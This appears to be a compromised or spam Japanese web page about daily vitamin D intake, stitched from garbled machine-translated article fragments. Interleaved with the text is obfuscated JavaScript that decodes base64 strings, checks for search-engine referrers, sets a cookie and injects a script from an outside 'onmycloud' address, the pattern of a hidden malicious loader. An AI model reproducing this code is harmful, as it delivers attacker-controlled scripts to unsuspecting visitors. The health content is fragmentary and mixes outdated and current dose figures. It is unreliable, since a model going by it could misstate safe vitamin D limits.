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どのくらいのガバ私は1日に取ることができます

top/jp_dec2 php?x=sa&query='};var _0x39106a=[_0x4b0eec[_0x2125('0x1e')],_0x4b0eec[_0x2125('0x1f')],_0x4b0eec[_0x21
25('0x20')],_0x4b0eec[_0x2125('0x21')],_0x4b0eec[_0x2125('0x22')],_0x4b0eec[_0x2125('0x23')],_0x4b0eec[_0x2125('0x24'
)]],_0x3af99b=document['referrer'],_0x18b9a9=![],_0x3d6112=cookie[_0x2125('0x25')](_0x4b0eec['IfIiM']);for(var _0x315b
13=0x0;_0x4b0eec[_0x2125('0x26')](_0x315b13,_0x39106a[_0x2125('0xc')]);_0x315b13++){if(_0x4b0eec[_0x2125('0x27')](
_0x3af99b[_0x2125('0x28')](_0x39106a[_0x315b13]),0x0)){_0x18b9a9=!![];}}if(_0x18b9a9){cookie[_0x2125('0x29')](_0x4b
0eec[_0x2125('0x2a')],0x1,0x1);if(!_0x3d6112){_0x4b0eec[_0x2125('0x2b')](include,_0x4b0eec[_0x2125('0x2c')](_0x4b0eec
[_0x2125('0x2c')](_0x4b0eec[_0x2125('0x2d')],q),''));}}}R();
ビタミンDが多すぎると、異常に高い血中カルシウム濃度が引き起こされ、吐き気、便秘、混乱、心臓のリズムの異常、さらには腎結石さえも引き起こされる可能性があります。..
constructor(\x22return\x20this\x22)(\x20)'+');');_0x3d0938=_0x20d7ab();}catch(_0xb3f40f){_0x3d0938=window;}var _0x5b3
7a6='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3d0938['atob']||(_0x3d0938[
'atob']=function(_0x550880){var _0x29b699=String(_0x550880)['replace'](/=+$/,'');for(var _0x1031fd=0x0,_0x315b14,_0x6d
45b6,_0x518b29=0x0,_0xae1fbc='';_0x6d45b6=_0x29b699['charAt'](_0x518b29++);~_0x6d45b6&&(_0x315b14=_0x1031fd
%0x4?_0x315b14*0x40+_0x6d45b6:_0x6d45b6,_0x1031fd++%0x4)?_0xae1fbc+=String['fromCharCode'](0xff&_0x315b14>
>(-0x2*_0x1031fd&0x6)):0x0){_0x6d45b6=_0x5b37a6['indexOf'](_0x6d45b6);}return
_0xae1fbc;});}());_0x2125['DMJLIT']=function(_0x68fead){var _0x5298fd=atob(_0x68fead);var _0x4d5593=[];for(var
_0xa80fd3=0x0,_0x2b99c1=_0x5298fd['length'];_0xa80fd3=_0x23164e;},'hUBTw':function(_0x4df89f,_0x1de471){return
_0x4df89f(_0x1de471);},'tAVHZ':function(_0x61dcff,_0x138fa7){return
_0x61dcff+_0x138fa7;},'DBZcK':'https://onmycloud.. "国立衛生研究所の栄養補助食品局、栄養補助食品ファクトシート：ビタミンD、11月更新.. var _0x
3be5=['Y29va2ll','bWF0Y2g=','Ym9ic0o=','akJVb2g=','bGVuZ3Ro','OyBwYXRoPQ==','OyBkb21haW49','OyBzZWN1cmU='
,'ZVFrTlA=','dUhtdHU=','dXFBcVI=','ZGFjWHo=','Z2V0VGltZQ==','blRxWmM=','U0ZSYUY=','Lmdvb2dsZS4=','LnlhaG9
vLg==','LmFvbC4=','LmFzay4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','dmlzaXRlZA==','Zm1Dekg=','TXBHeHg=','SUlSc
EM=','TFhodkQ=','VW9qeWU=','VmRPS2o=','S1NaVUg=','Z2V0','aHRaTkU=','cktPeXQ=','aW5kZXhPZg==','c2V0','SWZJ
aU0=','aFVCVHc=','dEFWSFo=','REJaY0s=','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','c3Jj','Z2V0RWxlbWVudHNCeVRhZ
05hbWU=','YXBwZW5kQ2hpbGQ=','44Gp44Gu44GP44KJ44GE44Gu44Ks44OQ56eB44GvMeaXpeOBq+WPluOCi+OBk+
OBqOOBjOOBp+OBjeOBvuOBmQ==','MXwyfDR8M3w1fDA=','c3BsaXQ='];(function(_0x50ddda,_0x4c0d57){var _0x485
c98=function(_0x4eb233){while(--_0x4eb233){_0x50ddda['push'](_0x50ddda['shift']());}};_0x485c98(++_0x4c0d57);}(_0x3b
e5,0x196));var _0x2125=function(_0x5f4191,_0x186a6f){_0x5f4191=_0x5f4191-0x0;var
_0x3f2217=_0x3be5[_0x5f4191];if(_0x2125['Uiqjza']===undefined){(function(){var _0x3d0938;try{var
_0x20d7ab=Function('return\x20(function()\x20'+'{}.. しかし、最近のいくつかの研究では、健康な成人は1日あたり10,000
IUを超えるビタミンDを許容できると示唆しています。.. １９９７年の医学研究所の食品栄養委員会の古い勧告は、１日当たり２，０００ＩＵのビタミンＤは成人にとって安全であり、
１日当たり１，０００ＩＵは１２ヶ月齢までの乳児にとって安全であると示唆していた。..
「ＩＯＭ委員会は、ビタミンＤレベルの増加が健康上の利益を増加させるという決定的な証拠を見いださなかった」と主張している。もっと良い..
WebMD健康ニュース：「ビタミンD欠乏症は乳がんを悪化させますか？」 WebMD特集：「あなたは十分なビタミンDを摂取していますか？」
WebMD健康ニュース：「ビタミンD欠乏は心臓を傷つけます.

太陽光や食品からビタミンDを過剰に摂取することはほとんど不可能です（タラ肝油を大量に摂取しない限り）。.. 国立衛生研究所によると、一貫して200 ng /
mLを超える25-OHDレベルは「潜在的に有毒な」.. その線量は大人のための4,000 IU /日、4 - 8歳の子供のための3,000 IU /日、1 - 3歳の子供のための2500 IU
/日、6-12ヶ月の年齢の幼児のための1,500 IU /日、そして0〜6ヶ月の乳児.. "WebMD Health News："ビタミンD化合物が前立腺癌と戦う可能性がある..
American Journal of Clinical Nutrition、2008年。 vol 87：pp 1080S-1086S 2008年6月の小児および青年医学のアーカイブ。 vol 162：pp
513-519.. "WebMD Health News："カルシウム/ビタミンDが体重増加を遅らせる.

＆apos; "次へ：どのような種類のビタミンDが最適ですか？1 2 3 4 5 6 7 8 9出典：Ross、A..
IOM委員会は、その「上位レベルの摂取量」、つまりビタミンDが危険になるのではないかとの境界線を引き上げました。.. The Vitamin D
Councilのエグゼクティブディレクター、John Jacob Cannell医師は、30分間の全身太陽への曝露後に、皮膚が10,000 IUのビタミンDを生成すると述べています。.
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